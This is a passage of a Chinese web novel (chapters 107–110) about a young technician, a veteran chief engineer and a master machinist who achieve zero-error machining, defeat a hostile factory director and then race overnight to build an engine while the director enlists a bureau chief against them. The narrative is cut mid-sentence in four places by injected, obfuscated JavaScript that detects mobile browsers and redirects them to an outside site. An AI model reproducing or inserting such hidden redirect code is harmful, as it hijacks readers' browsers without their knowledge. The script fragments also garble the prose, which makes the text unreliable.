当他的目光与表盘上的指针交汇时,这位在厂里以严谨和刻板着称的老专家,身体猛地僵住,整个人仿佛被抽走了所有的骨头,瞬间矮了半截。 他没有说话。 他只是缓缓地抬起头,用一种看怪物的眼神,死死地盯着那个自始至终都沉默不语的匠人归鸿。 这一下,再迟钝的人也明白了。 “不可能!让我来!” “绝对不可能!手动加工怎么可能做到零误差?这是对物理规律的亵渎!” 王德发带来的那支“审判队伍”,彻底失控了。 他们像是被挑衅了信仰的狂信徒,一个个红着眼睛,争先恐后地冲上前去。 他们带来了厂里所有能找到的高精度量具,如同朝圣一般,轮流对那尊缸体进行着一遍又一遍的、近乎自虐式的检验。 主轴承孔,零误差。 活塞行程基准面,零误差。 冷却水道定位孔系,零误差。 …… 每一次测量,都像一记无情的重锤,狠狠砸在他们引以为傲的专业知识上。 每一次报出的数据,都让他们的脸色愈发苍白。 那一声声压抑不住的惊呼,从“不可能”到“我的天”,最终汇成了一片倒吸冷气的、绝望的沉默。 他们被彻底征服了。 不是被权力,不是被言语,而是被一种他们毕生追求却遥不可及的、神迹般的绝对精度,剥夺了所有反抗的权利。 现场的工人们,从最初的紧张与担忧,到此刻,脸上已经写满了狂热的崇拜。 他们或许看不懂那些复杂的图纸,听不懂那些专业的术语,但他们看得懂那些技术专家脸上如同见了鬼一般的表情。 他们赢了。 江总工,赢了! 不知是谁,第一个振臂高呼:“江总工牛逼!” 这一声呐喊,如同投入滚油中的一滴水,瞬间点燃了全场。 “赢了!我们赢了!” “零误差!零误差啊!这是人能干出来的活儿?” “归师傅是神仙!是活着的鲁班!” 压抑了太久的激动与狂喜,在这一刻化作了山呼海啸般的声浪,几乎要将车间的顶棚掀翻。 工人们的脸上,洋溢着一种发自内心的、与有荣焉的骄傲。 这不仅是江建国和路承舟的胜利,更是他们这些一线劳动者,对那些高高在上的官僚主义最响亮、最有力的一记耳光! 在这片狂热的声浪中心,王德发的身躯,在剧烈地摇晃。 他那张国字脸,已经从死灰变成了铁青,又从铁青化作了病态的酱紫。 他的大脑一片轰鸣,眼前阵阵发黑。 他听不清周围的欢呼,只觉得那每一个音节,都化作了最恶毒的嘲讽,一遍遍地凌迟着他那早已支离破碎的尊严。 他败了。 败得如此彻底,如此惨烈,如此的毫无悬念。 他精心布置的审判席,最终坐上去的,竟是他自己。 “噗”王德发猛地向后踉跄了一步,若不是身旁的马恒眼疾手快地扶住,他几乎要当场瘫倒。 他死死地盯着人群中那个被高高举起的、须发斑白的身影,眼中充满了怨毒、疯狂与不甘。 江建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341888|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国被工人们簇拥着,抛向空中。 这位在厂里隐忍了半生、受尽了打压与排挤的老工程师,此刻终于忍不住老泪纵横。 他感受着工人们那一张张朴实而真诚的笑脸,听着那一声声发自肺腑的呐喊,一股前所未有的豪情与暖流,冲刷着他疲惫的灵魂。 他知道,一切都值了。 而在这场风暴的另外两个中心,却呈现出一种截然不同的宁静。 归鸿早已走回了自己的工具柜,正用一块鹿皮,一丝不苟地擦拭着刚刚用过的每一件工具。 他脸上的表情,和他加工前没有任何区别,仿佛刚刚完成的不是一件惊世骇俗的作品,而只是削了一个苹果。 路承舟则不紧不慢地将那些散落在工作台上的文件,一份份地收拢,整齐地码好,重新放回那个半旧的帆布包里。 他拉上拉链,背上肩头,那份超乎年龄的从容与镇定,使他与周围狂热的环境格格不入,却又形成了一种更加强大的、令人无法忽视的气场。 他的目光,平静地越过欢呼的人群,落在了正狼狈不堪的王德发身上。 那眼神里,没有胜利者的炫耀,没有居高临下的怜悯,只有一片深不见底的淡漠。 仿佛在看一个,与自己毫不相干的、已经死去的物体。 这道目光,成了压垮王德发精神的最后一根稻草。 “走!” 他猛地推开马恒,用尽全身的力气,从喉咙深处挤出一个字。 他再也无法在这里多待一秒钟。 他像一头被彻底击败的斗兽,不顾一切地转身,拨开人群,朝着车间大门的方向,仓皇逃窜。 他的背影,充满了前所未有的狼狈与仓皇。 马恒愣了一下,随即也连滚带爬地跟了上去,主仆二人,如丧家之犬,消失在了众人的视线里。 王德发的离去,让现场的欢呼声达到了一个新的顶点。 一场由厂长亲自发起的、声势浩大的公开审判,最终以审判者落荒而逃的方式,滑稽地落下了帷幕。 从今天起,红星厂的天,要变了。 所有人的目光,都聚焦在那个被工人们簇拥的英雄,江建国的身上。 然而,只有江建国自己,在狂喜的泪水中,用尽全力,将目光投向了不远处那个平静地背着帆布包的年轻人。 他心中无比清楚,这场惊天逆转的真正缔造者,不是自己,更不是归鸿。 而是这个如谜一般的少年。 他,究竟是谁? 第107章 无声的加冕 山呼海啸般的欢呼,几乎要将车间的钢结构屋顶生生掀起。 工人们朴素的脸上,洋溢着一种近乎癫狂的喜悦。 他们将须发皆白、老泪纵横的江建国高高举起,一次又一次地抛向空中。 这不仅仅是一次技术上的胜利,更是一场压抑已久的、对官僚主义的盛大反抗。 每一个欢呼的工人,都在为自己,为这个工厂尚存的一丝希望,尽情呐喊。 在这片狂热的海洋中心,王德发那仓皇逃窜的背影,早已成了一个可笑的注脚。 风暴的中心,往往异常平静。 路承舟静静地站在人群的外围,仿佛眼前的一切都与他无关。 他低着头,将那些散落在工作台上的文件,一份份地收拢,仔细地对齐边角,然后不紧不慢地放回那个半旧的帆布包里。 他的动作从容而专注,那双年轻的手,在这一刻显现出一种与年龄不符的沉稳。 归鸿不知何时已经走到了他的身边。 这位刚刚以神技震惊全场的老人,没有去看那件凝聚了他毕生修为的完美作品,也没有理会周围震耳欲聋的喝彩。 他那双浑浊而锐利的眼睛,只是死死地盯着路承舟手中那根暗金色的、刚刚被他从主轴上卸下的镗刀。 那眼神,不再是初见时的惊艳,而是充满了更深层次的探究与敬畏。 “这把刀……” 归鸿的嗓音嘶哑,像是两块生锈的铁片在摩擦,“是你做的?” 路承舟拉上帆布包的拉链,抬起头,迎向老人的目光。 他平静地回答:“图纸和工艺是我设计的,材料是我去特殊钢研究所找人特制的,烧结和开刃,是请京城一位隐居的老师傅帮忙完成的。” 这个回答,半真半假,却合情合理。 归鸿沉默了。 他不再追问那个“老师傅”是谁,因为他知道,能做出这种东西的人,早已超出了他能理解的范畴。 他只是伸出那只布满老茧的手,用指腹,在冰冷的刀杆上轻轻摩挲着,像是在抚摸一件稀世的珍宝。 片刻之后,他抬起眼,用一种前所未有的郑重语气,对眼前的年轻人说道:“这东西,我用着,顺手。” 这便是宗师的认可。 简单,直接,却比任何赞美都更有分量。 “归师傅如果喜欢,就送给您了。” 路承舟淡淡一笑,仿佛送出的不是一件价值连城、足以改变行业格局的神兵利器,而是一件随手制作的小玩意。 归鸿的手猛地一顿,浑浊的老眼中,第一次闪过一丝真正的错愕。 他深深地看了路承舟一眼,最终,没有矫情地拒绝。 他只是点了点头,将那根镗刀用最柔软的鹿皮仔细包裹起来,郑重地放入了自己的工具柜,然后上了锁。 做完这一切,他转过身,对路承舟说出了今天的第二句话。 “以后,有活儿,叫我。” 说完,他便转身,在无数敬畏目光的注视下,迈着他那特有的、不疾不徐的步伐,走出了喧嚣的车间。 路承舟望着他的背影,知道从这一刻起,这座工厂里最强大、最孤傲的一股力量,已经被他牢牢地绑在了自己的战车上。 欢呼声不知何时渐渐平息。 当江建国终于被工人们放下来时,他整理了一下凌乱的衣衫,拨开人群,步履蹒跚却又无比坚定地走到了路承舟的面前。 这位刚强了一辈子的老工程师,此刻眼眶通红,嘴唇哆嗦着,竟一句话也说不出来。 他只是伸出颤抖的双手,紧紧地握住了路承舟的手。 那双手,冰冷,汗湿,却充满了无穷的力量。 “承舟……” 江建国终于从喉咙里挤出两个字,声音哽咽,“我……” 他想问,想问这个年轻人脑子里到底还藏着多少秘密;想问他那份超乎常人的沉稳与远见,究竟从何而来;想问他,为什么要选择自己,来共同掀起这场足以改变命运的豪赌。 千言万语,最终却只化作了一声沉重的、发自肺腑的叹息。 “好小子。” 路承舟能感受到老人内心的激荡,他反手握紧了江建国的手,用力地摇了摇,清朗的声音带着一股安抚人心的力量:“江总工,我们赢了。但这只是第一步。” “第一步?” 江建国愣住了。 在他看来,王德发狼狈逃窜,技术上取得了无可辩驳的完胜,这几乎已经是终局的胜利了。 路承舟的目光,平静地扫过那尊在灯光下闪耀着精密光辉的缸体,声音没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341889|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝毫波澜:“一个缸体,代表不了什么。它现在只是一件昂贵的、毫无用处的铁疙瘩。” 他的话,如同一盆冷水,瞬间浇熄了周围尚未完全散去的喜悦气氛。 所有人都安静下来,看向他。 路承舟的视线,从一张张或激动、或茫然的脸上缓缓滑过,最后重新落在江建国的眼中。 “只有当活塞、连杆、曲轴、凸轮轴……当这上百个精密零件,全部按照我们的要求制造出来,并且成功组装,最终让这台发动机爆发出它应有的怒吼时,我们才算真正地赢了。” 他顿了顿,语气陡然变得锐利起来。 “王德发今天只是被吓跑了,他的位子还在,他背后的关系网也还在。他很快就会反应过来,会用尽一切行政手段来阻挠我们。我们今天赢得越是辉煌,他接下来的反扑就会越是疯狂。” “我们没有时间庆祝。” 路承舟的声音不大,却字字千钧,清晰地传入每个人的耳中。 “江总工,我需要您立刻去安抚工人的情绪,然后,把所有参与项目的核心技术员和老师傅都召集起来。半个小时后,我们开会。” “我们要趁着这股气势,连夜拿出后续所有核心零件的加工方案!” “我们要用最快的速度,把生米彻底煮成熟饭!” 这一连串干脆利落的指令,带着一种不容置疑的威严,让刚刚还沉浸在巨大喜悦中的江建国,瞬间清醒过来。 他看着眼前这个眼神清澈、思维却老辣得可怕的年轻人,心中最后的一丝疑惑也烟消云散了。 他是谁,已经不重要了。 重要的是,他正在带领红星厂,走向一条从未有人走过的、充满了荆棘与光荣的道路。 而自己要做的,就是倾尽所有,跟上他的脚步。 “好!” 江建国重重地点头,眼中重新燃起了熊熊的斗志,“我马上去办!” 一场因胜利而起的狂欢,在路承舟冷静的调度下,迅速转化为一股更加强大、更加专注的战斗意志。 一场无声的加冕,已经完成。 从这一刻起,在这座工厂的核心地带,真正的王,不再是那个坐在窗明几净的办公室里的厂长。 而是这个背着帆布包的、年仅十九岁的年轻人。 第108章 铁要趁热打 胜利的狂欢,如同退潮后的海水,在车间里留下了湿热而激动的余温。 工人们三三两两地聚在一起,压低了声音,却依然掩不住眉梢眼角的兴奋,一遍遍地回味着刚才那场惊心动魄的神迹,以及厂长王德发那副丧家之犬般的狼狈模样。 这是一场前所未有的胜利,一场属于技术、属于一线工人的酣畅淋漓的胜利。 然而,在这股足以融化钢铁的喜悦洪流中,一道冷静得近乎冷酷的指令,却精准地注入了人群的核心。 江建国几乎是瞬间就从那巨大的狂喜中挣脱出来。 路承舟的话,像一柄冰冷的手术刀,瞬间剖开了胜利的表象,露出了其下潜藏的、更加严峻的现实。 他那张因激动而涨红的脸庞迅速恢复了平日的严肃,浑浊的双眼中重新凝聚起锐利的光。 他没有丝毫迟疑。 这位在厂里德高望重的老工程师,转身面向那些依旧沉浸在兴奋中的技术骨干和老师傅们,沉声喝道:“都别愣着了!高兴个屁!活儿干完了吗?” 一声断喝,如同平地惊雷。 众人脸上的笑容微微一僵,纷纷愕然地望向江建国。 “王德发是跑了,可他还是厂长!” 江建国的声音不大,却带着一种不容置疑的威严,在嘈杂的车间里清晰地回荡,“今天我们把他脸打肿了,你们猜,他明天会不会让我们脱层皮?” 冰冷而残酷的现实,让刚刚还热血上头的众人,齐齐打了个寒颤。 “所有参与‘红星一号’项目的人,跟我来!” 江建国大手一挥,不再多言,转身便向着车间角落里那间积满灰尘的工艺准备室走去。 路承舟背着帆布包,平静地跟在他的身后。 人群短暂地骚动过后,十几道身影默默地脱离了庆祝的人群,汇成一股沉默的铁流,紧紧地跟了上去。 他们是这座工厂里真正的技术脊梁,是那些在各自的岗位上磨炼了几十年,身怀绝技却被常年压制的老工匠、老技师。 刚刚那场神迹般的加工,已经彻底征服了他们。 而江建国的一番话,则让他们明白,这场战斗,远未结束。 工艺准备室里,一张落满灰尘的长条桌被匆匆擦拭干净。 十几名汉子围挤在这间狭小的屋子里,空气中弥漫着机油、汗水和一种名为“希望”的复杂气味。 所有人的目光,都下意识地聚焦在了那个最年轻的身影上。 路承舟没有客套。 他将帆布包放在桌上,拉开拉链,从里面取出了一大卷崭新的图纸,以及一本厚厚的、用钢笔手写的工艺手册。 他将图纸在桌面上“哗啦”一声铺开。 那是一张远比缸体总图复杂百倍的发动机总装配图,上面密密麻麻地标注着上百个零件的编号、参数与配合公差。 每一个数字,每一根线条,都透露出一种令人窒息的精密与严谨。 “各位师傅,江总工。” 路承舟清朗的声音,在寂静的室内响起,“缸体只是一个开始。现在,我需要各位的力量,将这上面剩下的所有核心部件,在最短的时间内,全部做出来。” 他的目光扫过在场的每一个人,那眼神平静,却仿佛能洞穿人心。 “我知道,这很难。很多零件的加工难度,甚至还在缸体之上。而且,我们没有时间了。” 他伸出手指,在图纸上轻轻敲了敲,发出“笃笃”的声响,像是在敲击着每个人的心脏。 “王德发最迟明天上午,就会发起反击。封锁材料库、切断车间电源、把我们调离岗位……他能用的手段,太多了。所以,我们必须赶在他动手之前,造成既定事实!” “我们要在他的办公桌上,摆满我们亲手造出来的、闪闪发光的零件!我们要让所有人都看到,红星厂离了谁都能转,但离了我们这群搞技术的,就只能生产废铁!” 这番话,没有慷慨激昂的口号,却比任何口号都更能点燃这群老技术员心中的火焰。 那是一种被压抑了太久的、属于匠人的骄傲与尊严! “小子,你尽管说!” 一个满手老茧、钳工八级的老师傅,瓮声瓮气地开口,打破了沉默,“要我们干什么,怎么干!我们这把老骨头,今天就陪你疯一把!” “对!干**!” “需要什么,你画出道儿来!” 群情,瞬间被点燃。 路承舟的脸上,终于露出了一丝微笑。 他要的就是这股气。 “好。” 他点了点头,拿起那本手写的工艺手册,翻开了第一页,“那我就不客气了。” 他的目光,精准地锁定在了人群中的一位中年技师身上。 “张工,你是我们厂磨工第一块牌子,曲轴的精磨,就交给你了。这张图纸上,是主轴颈和连杆轴颈的尺寸公差,要求是正负零点零零五毫米。另外,这是我设计的专用砂轮修整器图纸,你连夜让工具车间的兄弟给你做出来,用它修整出来的砂轮,才能保证最终的圆度和光洁度。” 他撕下一页图纸,递了过去。 那位姓张的技师,手有些抖地接过图纸,只看了一眼,瞳孔便猛地一缩。 那上面匪夷所思的修整器结构,瞬间为他打开了一扇新世界的大门。 路承舟的目光,又转向了另一位身材瘦高的老师傅。 “刘师傅,你的镗床使得最好。活塞和活塞销的加工,是你的活。材料我已经准备好了,是一种高硅铝合金。这种材料很脆,切削参数有讲究,全部写在这里了。记住,活塞销孔的加工,必须用金刚石镗刀,进给速度不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们只是默默地攥紧了手中的图纸,那一张张饱经风霜的脸上,不约而同地,浮现出一种决绝而炽热的光芒。 下一秒,所有人不约而同地转身,大步流星地走出了准备室。 沉寂了片刻的第一车间,很快,便再次响起了机器的轰鸣。 这一次,不再是独奏,而是几十台机床共同奏响的、雄浑激昂的钢铁交响曲! 灯火,将整个车间照得亮如白昼。 一场与时间的赛跑,一场决定红星厂命运的无声战争,在王德发做着美梦的这个深夜,悄然打响。 庆祝已经结束。 真正的战斗,才刚刚开始。 第109章 黎明前的冲刺 夜色,在红星厂的上空凝固如墨。 第一车间的灯火,却像一颗刺破黑暗的心脏,将整个厂区的沉寂撕开一道豁口,向外辐射着顽固而灼热的光芒。 胜利的狂喜已经沉淀,转化为一种更加深沉、更加专注的力量。 空气中,不再有喧嚣的呐喊,取而代之的是几十台机床协同运转时,那雄浑而富有节奏的轰鸣。 车、铣、刨、磨、镗,不同的声部交织在一起,汇成了一曲只属于工业时代的、激昂澎湃的钢铁交响。 这里,已然是一片与时间赛跑的战场。 路承舟并没有待在任何一台机床前。 他背着那个半旧的帆布包,如同一位幽灵般的巡视者,在这片由钢铁与汗水构成的森林中不紧不慢地穿行。 他的脚步很轻,目光却锐利如鹰,精准地扫过每一台高速运转的设备,每一个专注工作的身影。 他不需要亲自上手,因为整个车间,此刻都已成为他大脑的延伸。 “老张,停一下。” 路承舟的声音不高,却仿佛拥有一种奇特的穿透力,清晰地越过了磨床刺耳的尖啸,送到了那位正在聚精会神操作的老师傅耳中。 被称为老张的磨工师傅猛地一激灵,下意识地便要拍下急停按钮。 他满头大汗,眼神中带着一丝紧张。 他负责的是整台发动机的灵魂部件曲轴。 路承舟给出的图纸和工艺要求,其精度之变态,让他这个厂里公认的“磨工第一块牌子”都感到头皮发麻。 “别停机。” 路承舟走上前,阻止了他的动作,“让砂轮空转。你看你的冷却液。” 老张一愣,顺着路承舟的目光看去。 只见那股浇向工件的乳白色液体,流量似乎比平时小了一些,喷嘴的角度也有些微的偏移,未能完全覆盖砂轮与轴颈的接触点。 “高铬铸铁在精磨阶段对温度极其敏感。” 路承舟的语气平静得像是在陈述一个物理常识,“冷却稍有不足,就会产生局部退火,硬度下降。你用千分尺量不出来,但装上机跑不到一百小时,这里就是断裂点。” 一滴冷汗,顺着老张的鬓角滑落。 他刚才全副心神都放在了控制进给的手感上,完全忽略了这个致命的细节。 若是没有路承舟这一眼,他耗费心血磨出的这根曲轴,恐怕就是一件金玉其外的废品。 “我……” 老张的脸瞬间涨红了。 “没事,现在发现还不晚。” 路承舟没有丝毫责备的意思,他伸手拧动了一下喷嘴的万向节,又将阀门开大了几分,一股更加丰沛的冷却液立刻均匀地覆盖了整个加工区域。 “继续吧,注意观察液体的颜色,如果开始变灰,说明砂轮钝了,要立刻修整。” 说完,他便转身走向了下一处。 老张呆呆地看着那个年轻的背影,心中只剩下一种情绪。 那不是佩服,而是近乎于恐惧的敬畏。 这个年轻人,仿佛拥有一双看透一切的眼睛。 他不仅设计了神迹,更能预判所有可能导致神迹崩塌的凡俗错误。 这样的场景,在车间的每一个角落不断上演。 “刘师傅,你这台镗床的主轴轴承有异响,间隙超差了,活塞销孔的同轴度保证不了。换三号机,那台我昨天刚让江总工找人调试过。” “王哥,你铣这个凸轮轴,转速太高了。用我给你的那把新铣刀,转速降到三百,进给提到零点二,不然刀尖磨损太快,一个班下来,角度就跑了。” “还有那边的电源箱,外壳在震,找电工紧一下螺丝!我们现在干的活,任何一点微小的震动源,都是潜在的**!” 他就像一位经验最丰富的战地医生,精准地诊断出每一个潜在的创口,并用最简洁、最有效的方式予以处理。 他的每一次开口,都让那些经验丰富的老工匠们心头一凛,继而恍然大悟。 渐渐地,一种奇异的氛围在车间里弥漫开来。 工人们不再仅仅将路承舟视为一个技术指导,他们的眼神中,多了一种近乎依赖的信赖。 每当遇到一丝不确定的地方,他们都会下意识地停下手中的动作,用目光在车间里搜寻那个从容不迫的身影。 只要那个身影还在,他们的心,就是定的。 江建国则扮演着后勤大总管的角色。 他拿着一个本子,在各个工位之间来回奔走,协调着材料的转运、工具的借领、图纸的核对。 他的嗓子已经喊得有些沙哑,双眼布满了血丝,但精神却异常亢奋。 他亲眼看着一张张冰冷的图纸,正在这群被重新点燃了火焰的匠人手中,一步步化为闪耀着金属光泽的精密零件。 一根刚刚完成粗加工的连杆,被送到了检验台。 江建国亲自拿起游标卡尺,小心翼翼地进行测量。 当看到读数与图纸上的尺寸分毫不差时,他那张满是褶子的脸上,露出了孩子般的笑容。 他知道,他们正在创造历史。 …… 与车间里热火朝天的景象截然不同,厂长办公室所在的行政楼,此刻正笼罩在一片死寂之中。 王德发的办公室内,烟雾缭绕,呛得人几乎睁不开眼。 他那张平日里保养得宜的国字脸,此刻已经扭曲得不成样子,面色铁青,眼球里充斥着疯狂的血丝。 地上,摔碎的茶杯和散落一地的文件,无声地诉说着主人不久前的暴怒。 他身旁的马恒,大气都不敢喘一口,只是战战兢兢地站在一旁,为主子续着茶水。 “废物!一群废物!” 王德发终于嘶吼起来,他将手中的香烟狠狠地摁死在烟灰缸里,那力道之大,仿佛要将整个烟灰缸都捏碎,“几十个专家,上百双眼睛,竟然被一个毛头小子和一个快退休的老家伙,当着全厂工人的面,把脸按在地上踩!我王德发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341891|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸,红星厂的脸,都被你们丢尽了!” 马恒哆嗦了一下,低着头不敢接话。 王德发发泄了一通,胸口剧烈地起伏着,他猛地抓起桌上的电话,拨通了一个号码。 电话响了很久才被接起。 “喂?哪位?” 一个带着浓重睡意的、充满官威的声音从听筒里传来。 王德发的语气瞬间一百八十度大转弯,刚才的暴怒化作了满腹的委屈与谄媚:“张局,是我,德发啊……这么晚打扰您,实在是不好意思……” 电话那头的,正是市工业局的一把手,也是王德发在市里最硬的靠山。 “德发?出什么事了?” 张局长的声音清醒了一些。 “张局,出大事了!” 王德发的声音带上了哭腔,“厂里……厂里有人要**啊!那个江建国,联合一个不知道从哪冒出来的野小子,蛊惑工人,公然对抗厂党委的决议,搞什么乱七八糟的技术革新,现在整个一车间都失控了……” 他添油加醋地将今天下午发生的事情歪曲成了一场有预谋的、针对他个**威的倾轧,绝口不提“零误差”那三个字。 电话那头的张局长沉默了片刻。 “江建国?我有点印象,就是那个臭石头吧?” 他的声音冷了下来,“还有这种事?简直是无组织无纪律!德发,你不要怕。你是一厂之长,代表的是组织的权威。这件事,必须严肃处理,绝不能让这股歪风邪气蔓延开来!” 王德发的眼睛里,瞬间迸射出怨毒的光芒。 他等的就是这句话。 “张局,我也是这么想的!可他们现在仗着有几个工人支持,根本不把我们放在眼里,连夜在车间里胡搞,我怕他们把那些昂贵的进口设备都给搞坏了啊!” “胡闹!” 张局长在电话那头猛地一拍桌子,“你马上给我听好了。第一,明天一早,立刻以厂党委的名义下发文件,宣布他们那个所谓的项目是非法行为,勒令立即停止。第二,封锁一车间,所有参与人员全部停职反省,等待处理。第三,把那个江建国,还有你说的那个野小子,给我带到局里来,我亲自审他们!” 一连串的命令,干脆利落,充满了不容置疑的威权。 王德发脸上终于露出了狰狞的笑容。 技术? 零误差? 在绝对的权力面前,这些东西,一文不值! “是!谢谢张局!我明天一早就办!” 他点头哈腰地挂断了电话,整个人重新焕发了神采。 他看向窗外那片依旧灯火通明的车间,眼神如同在看一群**。 “闹吧,尽情地闹吧。” 他喃喃自语,“等天一亮,就是你们的死期。” 黎明,正在靠近。 一场由权力发起的绞杀,已在黑暗中布下天罗地网,只等着太阳升起的那一刻,便要将那片燃烧的理想之地,彻底碾碎。 第110章 与黎明赛跑 东方天际,一线鱼肚白悄然撕裂了浓得化不开的墨色。 黎明,正以一种无可阻挡的姿态,悄然降临。 第一车间内,那曲由几十台机床合奏的钢铁交响,已然显露出疲态。 机器的轰鸣不再如午夜时那般激昂高亢,变得有些沙哑和沉重,如同一个奔跑了整夜的巨人,肺部灌满了灼热的空气,每一步都沉重如山。 人比机器,更先感受到极限的降临。 负责精磨曲轴的张师傅,双眼布满了蛛网般的血丝。 他死死盯着在砂轮下飞速旋转的工件,握着进给手轮的右手,因为长时间保持一个姿势而微微抽搐。 汗水早已浸透了他贴身的工装,又被车间内的高温蒸干,留下一层白色的盐霜。 他的身体在渴望休息,但他的精神,却被一股前所未有的信念死死钉在原地。 不远处,负责镗削活塞的刘师傅,正用额头抵着冰冷的机床立柱,大口大口地喘着粗气。 他面前的机床已经停下,一个刚刚完成终道加工的活塞,在工作灯下闪耀着银色的、柔和的光晕,其表面的光洁度,宛如艺术品。 为了保证那微米级的精度,他几乎将半辈子的功力都倾注在了这最后几刀的进给之中。 整个车间,都弥漫着一股由疲惫、汗水、机油和钢铁灼烧味混合而成的、令人头晕目眩的气息。 这是一支被逼到绝境的疲兵。 然而,就在这片摇摇欲坠的阵地上,却有一个身影,始终保持着恒定的节奏。 路承舟。 他仿佛一台不知疲倦的永动机,从午夜到黎明,他的脚步从未停歇。 他的帆布包就放在车间中央的检验台上,此刻,他手里提着一个巨大的军用水壶,正挨个为那些几乎要虚脱的老师傅们,倒上一杯滚烫的加了糖的浓茶。 “张师傅,喝口水,歇五分钟。” 他将搪瓷缸子递到老张嘴边,语气不容置疑,“你的心率乱了,手会抖。这根曲轴废了,我们哭都没地方哭。” 张师傅眼皮都快抬不起来了,他本能地想拒绝,可当温热的液体触碰到干裂的嘴唇时,他还是贪婪地喝了一大口。 那股甜到发腻的热流冲入腹中,瞬间化作一股宝贵的热量,驱散了部分深入骨髓的疲惫。 “我……我还能撑。” 他沙哑着说。 “这不是撑不撑的问题。” 路承舟的目光落在他微微颤抖的手指上,声音平静却有力,“这是科学。你的身体已经发出了警告,强制劳动只会产生废品。休息五分钟,活动一下手指,做两个深呼吸。我们不是在拼命,我们是在赢。” 这番话,让张师傅无力反驳。 他默默地接过搪瓷缸子,靠在机床上,闭上了眼睛。 路承舟没有多停留,他转身走向下一个工位。 他就像一个最精密的战场指挥官,不仅要规划战略,更要时刻监控每一位士兵的生理与心理状态,在他们崩溃之前,及时注入最有效的强心剂。 突然,一阵刺耳的尖啸,毫无征兆地从车间另一头传来! “嘎吱砰!” 一台正在高速运转的卧式铣床,猛地发出一声金属断裂的悲鸣,随即整个机身剧烈一震,主轴电机在一串电火花中戛然而止。 正在操作那台机床的李师傅,整个人都吓傻了,脸色瞬间变得惨白。 所有人的心,都跟着那声巨响,狠狠地沉了下去! 出事了! 江建国第一个冲了过去,当他看到卡在铣刀和工件之间的半截断裂刀杆时,只觉得眼前一黑,差点当场栽倒。 那台机床上加工的,是发动机的凸轮轴! 其复杂程度,仅次于曲轴! 而且那把特制的成型铣刀,是路承舟拿来的唯一一把! 刀断了,意味着这根加工了半宿的凸轮轴,彻底报废! 更意味着,后续所有的凸轮轴,都无法再继续加工! “完了……” 李师傅嘴唇哆嗦着,眼神中充满了绝望与自责,“我……我对不起大家……” 一股无形的、名为“失败”的阴云,瞬间笼罩在众人心头。 他们可以对抗疲劳,可以对抗压力,但却无法对抗这种由设备故障带来的、无可挽回的损失。 就在这片死寂之中,路承舟拨开人群,走了进来。 他没有去看那根报废的工件,也没有去看那把断裂的刀具。 他的目光,平静地落在了机床的变速箱上,随即,他蹲下身,将手轻轻地贴在了箱体的外壳上。 片刻之后,他站起身,语气没有丝毫波澜。 “不是你的错,李师傅。” 他转向江建国,声音清晰而冷静:“江总工,这台机床的变速箱,二号轴的轴承应该碎了。主轴在刚才那一瞬间,产生了径向跳动,超过了刀具的承受极限,所以才会崩刀。” 江建国愣住了:“轴承碎了?这……这怎么可能提前知道?” “可以。” 路承舟淡淡地回答,“半小时前我路过这里,就听见它的噪音频率不对,里面有细微的、不规律的金属摩擦声。我本来想等李师傅加工完这一根,就让他停机检修,没想到,它撑不住了。” 在场的所有人,包括那些经验最丰富的老师傅,全都用一种看怪物的眼神看着路承舟。 只用耳朵听,就能判断出几百个零件组成的变速箱里,是哪根轴的哪个轴承出了问题? 这不是技术,这是玄学! “那……那现在怎么办?” 江建国焦急地问道,“刀没了,这……” “刀,可以修。” 路承舟的回答,再次震惊了所有人。 他走到那截断裂的刀杆前,仔细观察了一下断口,然后对身边一个工具钳工师傅说道:“找一根同等材质的合金圆钢,按照这个角度,给我磨一个燕尾槽接口。再把断掉的刀头也磨出对应的榫卯。记住,接触面要用研磨膏对配,间隙不能超过一根头发丝。” 他又转向电焊工:“用银基焊料,局部预热到六百五十度,进行钎焊。速度要快,不要让热量传导到刀刃部分,导致退火。” 最后,他看向已经呆若木鸡的李师傅:“修好之后,重新上机。转速降低百分之三十,进给速度降低百分之五十。虽然慢了点,但天亮前,至少还能再赶出一根合格品。” 一番指令,清晰、流畅,充满了不容置疑的自信。 原本已经陷入绝望的众人,仿佛在黑暗中看到了一束光。 他们看着那个从容不迫的年轻人,心中的敬畏,已经攀升到了顶点。 他不仅能创造神迹,更能修复神迹的裂痕! “快!都动起来!” 江建国第一个反应 